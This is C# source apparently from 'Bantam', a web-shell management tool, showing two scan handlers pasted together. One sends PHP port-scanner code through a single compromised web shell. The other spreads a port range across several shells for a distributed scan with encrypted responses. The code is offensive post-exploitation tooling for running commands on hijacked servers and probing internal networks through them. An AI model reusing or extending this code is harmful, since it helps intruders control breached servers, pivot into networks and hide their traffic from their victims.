/// <summary>
/// Main port scan routine
/// </summary>
/// <param name="sender"></param>
/// <param name="e"></param>
private async void btnScan_Click(object sender, EventArgs e)
{
if (btnScan.Enabled == false)
{
return;
}
string target = textBoxHost.Text;
if (string.IsNullOrEmpty(target) &&
!Helper.IsValidIPv4(target) &&
!Helper.IsValidUri(target))
{
labelDynStatus.Text = "Invalid IP/Url.";
return;
}
btnScan.Enabled = false;
if (BantamMain.Shells.ContainsKey(ShellUrl))
{
string portsCode = string.Empty;
bool encryptResponse = BantamMain.Shells[ShellUrl].ResponseEncryption;
int ResponseEncryptionMode = BantamMain.Shells[ShellUrl].ResponseEncryptionMode;
if (int.TryParse(textBoxPorts.Text, out int outVal))
{
if (!string.IsNullOrEmpty(textBoxPorts.Text))
{
portsCode = "$ports = array('" + textBoxPorts.Text + "');";
labelDynStatus.Text = "";
}
else
{
if (comboBoxCommonPorts.SelectedIndex != 0)
{
if (comboBoxCommonPorts.SelectedIndex == (int)PORTS_OPTIONS.ONE_TO_1024)
{
portsCode = PhpBuilder.PortsScannerPorts1To1024();
labelDynStatus.Text = "** May fail unless on local IP";
}
else if (comboBoxCommonPorts.SelectedIndex == (int)PORTS_OPTIONS.COMMON_PORTS)
{
labelDynStatus.Text = "** May fail unless on local IP";
portsCode = PhpBuilder.PortScannerPortsCommon();
}
else if (comboBoxCommonPorts.SelectedIndex == (int)PORTS_OPTIONS.ALL_PORTS)
{
portsCode = PhpBuilder.PortScannerPortsAll();
labelDynStatus.Text = "** May fail unless on local IP";
}
}
}
string phpCode = PhpBuilder.PortScanner(textBoxHost.Text, portsCode, encryptResponse);
BantamMain.ExecutePHPCodeDisplayInRichTextBox(ShellUrl, phpCode, "Opened Ports - " + textBoxHost.Text, encryptResponse, ResponseEncryptionMode);
}
}
btnScan.Enabled = true;
}
/// <summary>
/// Main Distributed scanning routine
/// </summary>
/// <param name="sender"></param>
/// <param name="e"></param>
private async void btnScan_Click(object sender, EventArgs e)
{
if (string.IsNullOrEmpty(textBoxTarget.Text))
{
lblStatus.Text = "Invalid IP/Url.";
return;
}
string target = textBoxTarget.Text;
if (!Helper.IsValidIPv4(target) &&
!Helper.IsValidUri(target))
{
lblStatus.Text = "Invalid IP/Url.";
return;
}
if (string.IsNullOrEmpty(textBoxStartPort.Text) ||
string.IsNullOrEmpty(textBoxEndPort.Text))
{
lblStatus.Text = "Invalid port.";
return;
}
int startPort = Convert.ToInt32(textBoxStartPort.Text);
int endPort = Convert.ToInt32(textBoxEndPort.Text);
if (startPort > endPort ||
endPort <= 0 || startPort <= 0 ||
startPort > PORT_MAX || endPort > PORT_MAX)
{
lblStatus.Text = "Invalid port.";
return;
}
btnScan.Enabled = false;
string windowTitle = "Open Ports ( " + target + " )";
RichTextBox rtb = GuiHelper.RichTextBoxDialog(windowTitle, string.Empty);
int shellsCount = checkedListBoxShells.CheckedItems.Count;
int portsPerShell = ((endPort - startPort) / shellsCount);
int iter = 1;
foreach (var checkedItem in checkedListBoxShells.CheckedItems)
{
string portsCode = string.Empty;
string scannedRange = string.Empty;
if (iter == shellsCount)
{
if (iter == 1)
{
scannedRange = startPort.ToString() + ", " + (endPort).ToString();
portsCode = "$ports = range(" + scannedRange + ");";
}
else
{
scannedRange = (((iter - 1) * portsPerShell) + 1).ToString() + ", " + (endPort).ToString();
portsCode = "$ports = range(" + scannedRange + ");";
}
}
else
{
if (iter == 1)
{
scannedRange = startPort.ToString() + ", " + (iter * portsPerShell).ToString();
portsCode = "$ports = range(" + scannedRange + ");";
}
else
{
scannedRange = (((iter - 1) * portsPerShell) + 1).ToString() + ", " + (iter * portsPerShell).ToString();
portsCode = "$ports = range(" + scannedRange + ");";
}
iter++;
}
bool encryptResponse = true;
string shellUrl = checkedListBoxShells.GetItemText(checkedItem);
string responseText = "[" + shellUrl + "] - returned ports (" + scannedRange + ") - \r\n";
string phpCode = PhpBuilder.PortScanner(target, portsCode, encryptResponse);
lblStatus.Text = "Scanning.";
BantamMain.ExecutePHPCodeDisplayInRichTextBox(shellUrl, phpCode, windowTitle, encryptResponse, (int)CryptoHelper.RESPONSE_ENCRYPTION_TYPES.OPENSSL, false, rtb, responseText);
btnScan.Enabled = true;
}
}